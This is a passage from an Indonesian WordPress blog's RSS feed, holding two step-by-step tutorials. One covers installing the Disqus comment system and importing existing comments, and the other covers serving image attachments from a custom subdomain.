<p>Dulu saya males pake <strong>Disqus</strong> dan tidak tertarik untuk mencobanya. &#8220;Aplikasi pihak ketiga gini lambat, dan ujung-ujungnya nitip brand di web kita&#8221;, begitulah pemikiran saya waktu itu. Sampai pada suatu hari ketika bikin web orang, saya stuck ketika minta sistem komen yang bisa login pake Twitter dan Facebook. Karena tidak ingin membuang-buang waktu, maka saya coba Disqus. Eh&#8230; ternyata sesuatu banget. #hammer. Karena tertarik, lalu saya coba juga di blog ini.
<p class="clear"></p>
<p>Kalau anda tertarik mencobanya, berikut <strong>tutorial cara Memasang Komentar Disqus di WordPress</strong>:</p>
<p>1. Pertama mendaftar di Disqus.com dulu, jangan khawatir proses pendaftarannya mudah kok, jadi tidak perlu screenshot. (Padahal lupa <img src='http://takien.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> )</p>
<p>2. Install plugins Disqus dari dashboard, pada kotak pencarian ketikkan <em>disqus</em> lalu tekan enter, maka akan keluar plugin-plugin yang mengandung kata disqus. Pilih <strong>Disqus Comment System </strong>klik, Install Now. (lihat gambar 2)</p>
<div id="attachment_902" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-2.png"><img class="size-medium wp-image-902" title="Cara menginstall plugin Disqus di WordPress" src="http://img.takien.com/2011/09/disqus-2-300x158.png" alt="Cara menginstall plugin Disqus di WordPress" width="300" height="158" /></a><p class="wp-caption-text">Cara menginstall plugin Disqus di WordPress</p></div>
<p>3. Kembali ke web Disqus, kita perlu mendaftarkan blog kita ke Disqus. (Dalam satu akun Disqus, bisa dipake untuk banyak blog/website). Di dashboard Disqus, pada sidebar kiri klik tombol +Add disamping tulisan <strong>Your Sites</strong>. (lihat gambar 3) <div style="float:right;width:300px;height:250px;margin-left:20px">
<script type="text/javascript"><!--
google_ad_client = "ca-pub-3108107609212063";
/* takien-content-300x250, created 12/9/10 */
google_ad_slot = "4897738383";
google_ad_width = 300;
google_ad_height = 250;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div></p>
<div id="attachment_903" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-3.png"><img class="size-medium wp-image-903" title="Mendaftarkan blog ke Disqus" src="http://img.takien.com/2011/09/disqus-3-300x191.png" alt="Mendaftarkan blog ke Disqus" width="300" height="191" /></a><p class="wp-caption-text">Mendaftarkan blog ke Disqus</p></div>
<p>4. Pada halaman selanjutnya, isikan Site URL, Site Name, dan Site Short Name sesuai dengan detail blog Anda. (lihat gambar 4). Kemudian klik Continue.</p>
<div id="attachment_904" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-4.png"><img class="size-medium wp-image-904" title="Mendaftarkan blog ke Disqus" src="http://img.takien.com/2011/09/disqus-4-300x221.png" alt="Mendaftarkan blog ke Disqus" width="300" height="221" /></a><p class="wp-caption-text">Mendaftarkan blog ke Disqus</p></div>
<p>5. Selanjutnya tertuju pada halaman <strong>Settings</strong>, isi setting seperlunya. (Lihat gambar 5). Dalam tahap ini kita bisa menentukan Bahasa, jangan pilih Bahasa Indonesia, karena terjemahannya standard baku (baca : <em>jelek</em>) dan belum merata. Jika Anda trauma spam, isikan juga Akismet API (anti spam). Supaya pengunjung bisa menyisipkan gambar di komentar aktifkan Media Attachment.  Jangan lupa di bagian Twitter @replies isikan dengan username Twitter Anda (jika ada <img src='http://takien.com/wp-includes/images/smilies/icon_surprised.gif' alt=':o' class='wp-smiley' /> ). Klik Continue.</p>
<div id="attachment_905" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-5.png"><img class="size-medium wp-image-905" title="Setting komentar Disqus" src="http://img.takien.com/2011/09/disqus-5-300x269.png" alt="Setting komentar Disqus" width="300" height="269" /></a><p class="wp-caption-text">Setting komentar Disqus</p></div>
<p>6. Tahapan berikutnya, petunjuk untuk instalasi di blog, pilih WordPress (lihat gambar 6). Oh ya, abaikan bagian ini karena kita tadi sudah menginstal plugin Disqus di WordPress.</p>
<div id="attachment_906" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-6.png"><img class="size-medium wp-image-906" title="Cara menginstal Disqus di WordPress" src="http://img.takien.com/2011/09/disqus-6-300x264.png" alt="Cara menginstal Disqus di WordPress" width="300" height="264" /></a><p class="wp-caption-text">Cara menginstal Disqus di WordPress</p></div>
<p>7. Kembali ke dashboard WordPress, buka setting Disqus (di bawah menu Comments). Isikan username dan password Disqus  dan klik Next. (lihat gambar 7)</p>
<div id="attachment_907" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-7.png"><img class="size-medium wp-image-907" title="Username dan passowrd Disqus di WordPress" src="http://img.takien.com/2011/09/disqus-7-300x192.png" alt="Username dan passowrd Disqus di WordPress" width="300" height="192" /></a><p class="wp-caption-text">Username dan passowrd Disqus di WordPress</p></div>
<p>8. Pada halaman selanjutnya, pilih blog yang sudah kita daftarkan di Disqus tadi. Jika Anda mendaftarkan blog lebih dari satu, situs-situs tersebut akan muncul disini. Klik Next. (lihat gambar <img src='http://takien.com/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> </p>
<div id="attachment_908" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-8.png"><img class="size-medium wp-image-908" title="Pilih blog yang mau dipasang Disqus" src="http://img.takien.com/2011/09/disqus-8-300x189.png" alt="Pilih blog yang mau dipasang Disqus" width="300" height="189" /></a><p class="wp-caption-text">Pilih blog yang mau dipasang Disqus</p></div>
<p>9. Pemasangan Disqus selesai. Jika Anda ingin mengexport komentar yang sudah ada ke Disqus, klik link<em> export them now</em>. (lihat gambar 9)</p>
<div id="attachment_909" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-9.png"><img class="size-medium wp-image-909" title="Cara mengexport/import komentar Disqus di WordPress" src="http://img.takien.com/2011/09/disqus-9-300x145.png" alt="Cara mengexport/import komentar Disqus di WordPress" width="300" height="145" /></a><p class="wp-caption-text">Cara mengexport/import komentar Disqus di WordPress</p></div>
<p>10. Selanjutnya di halaman export/import, klik Export Comments (lihat gambar 10)</p>
<div id="attachment_910" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-10.png"><img class="size-medium wp-image-910" title="Cara mengexport/import komentar Disqus di WordPress" src="http://img.takien.com/2011/09/disqus-10-300x145.png" alt="Cara mengexport/import komentar Disqus di WordPress" width="300" height="145" /></a><p class="wp-caption-text">Cara mengexport/import komentar Disqus di WordPress</p></div>
<p>11. Tunggu sampai muncul tanda check list dan tulisan <em>Your comments have been sent to Disqus and queued for import. </em>Klik link<em> See the status of your import to Disqus</em> untuk melihat status pengimporan Komentar di Disqus <em></em> (lihat gambar 11)</p>
<div id="attachment_911" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-11.png"><img class="size-medium wp-image-911" title="Your comments have been sent to Disqus and queued for import" src="http://img.takien.com/2011/09/disqus-11-300x145.png" alt="Your comments have been sent to Disqus and queued for import" width="300" height="145" /></a><p class="wp-caption-text">Your comments have been sent to Disqus and queued for import</p></div>
<p>12. Status pengimporan komentar di web Disqus (lihat gambar 12). Jangan panik kalau ada tulisan <em>Your import are 0% complete (1 still processing)</em>, karena itu menandakan proses lagi menunggu antrian untuk diimport. Proses bisa memakan waktu 1-10 menit (tergantung banyaknya komentar).  Ketika proses selesai nanti ada notifikasi di email.</p>
<div id="attachment_912" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/disqus-12.png"><img class="size-medium wp-image-912" title="Disqus comment import queue" src="http://img.takien.com/2011/09/disqus-12-300x166.png" alt="Disqus comment import queue" width="300" height="166" /></a><p class="wp-caption-text">Disqus comment import queue</p></div>
<p>Selamat berDisqus ria. <img src='http://takien.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://takien.com/900/cara-memasang-komentar-disqus-di-wordpress.php/feed</wfw:commentRss>
		<slash:comments>28</slash:comments>
		</item>
		<item>
		<title>Membuat Custom URL untuk Attachments Image di WordPress</title>
		<link>http://takien.com/889/membuat-custom-url-untuk-attachments-image-di-wordpress.php</link>
		<comments>http://takien.com/889/membuat-custom-url-untuk-attachments-image-di-wordpress.php#comments</comments>
		<pubDate>Sat, 10 Sep 2011 05:10:44 +0000</pubDate>
		<dc:creator>takien</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://takien.com/?p=889</guid>
		<description><![CDATA[Pada umumnya URL image/attachment di WordPress adalah http://example.com/wp-content/uploads/, supaya lebih keren kita dapat menggantinya menjadi http://img.example.com/. Mari kita ikuti caranya: 1. Buatlah sebuah sub-domain di cpanel, document Root nya diisi dengan /public_html/wp-content/uploads (lihat gambar 1) &#160; &#160; 2. Di wp-admin, buka menu Settings-&#62;Media 3. Pada field Full URL path to files, isikanhttp://img.example.com/ (lihat gambar 2) [...]]]></description>
			<content:encoded><![CDATA[<p>Pada umumnya URL image/attachment di WordPress adalah <strong>http://example.com/wp-content/uploads/</strong>, supaya lebih keren kita dapat menggantinya menjadi <strong>http://img.example.com/. </strong>Mari kita ikuti caranya:</p>
<p>1. Buatlah sebuah sub-domain di cpanel, document Root nya diisi dengan /public_html/wp-content/uploads (lihat gambar 1)</p>
<p>&nbsp;</p>
<div id="attachment_890" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/subdomain-image.jpg"><img class="size-medium wp-image-890  " title="subdomain-image" src="http://img.takien.com//2011/09/subdomain-image-300x118.jpg" alt="Create sub domain" width="300" height="118" /></a><p class="wp-caption-text">Gambar 1. Create sub domain</p></div>
<p>&nbsp;</p>
<p>2. Di wp-admin, buka menu Settings-&gt;Media</p>
<p>3. Pada field <em>Full URL path to files, </em> isikan<strong>http://img.example.com/</strong> (lihat gambar 2) kemudian klik Save Changes untuk menyimpan setting tersebut.<strong></strong></p>
<div id="attachment_891" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2011/09/file-url.jpg"><img class="size-medium wp-image-891 " title="file-url" src="http://img.takien.com//2011/09/file-url-300x86.jpg" alt="Wordpress Full URL path to files" width="300" height="86" /></a><p class="wp-caption-text">Gambar 2: Full URL path to files</p></div>
<p>4. Sekarang coba bikin post baru, upload image dan insert ke post, secara otomatis URL image nya sekarang adalah http://img.example.com/tahun/bulan/nama-file.jpg  (demo: lihat path URL gambar2 attachments diatas).</p>
<p>Sekian, semoga bermanfaat <img src='http://takien.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://takien.com/889/membuat-custom-url-untuk-attachments-image-di-wordpress.php/feed</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Page Caching using disk: enhanced (User agent is rejected)
Database Caching 27/33 queries in 0.015 seconds using disk: basic

Served from: takien.com @ 2012-05-18 13:18:11 -->
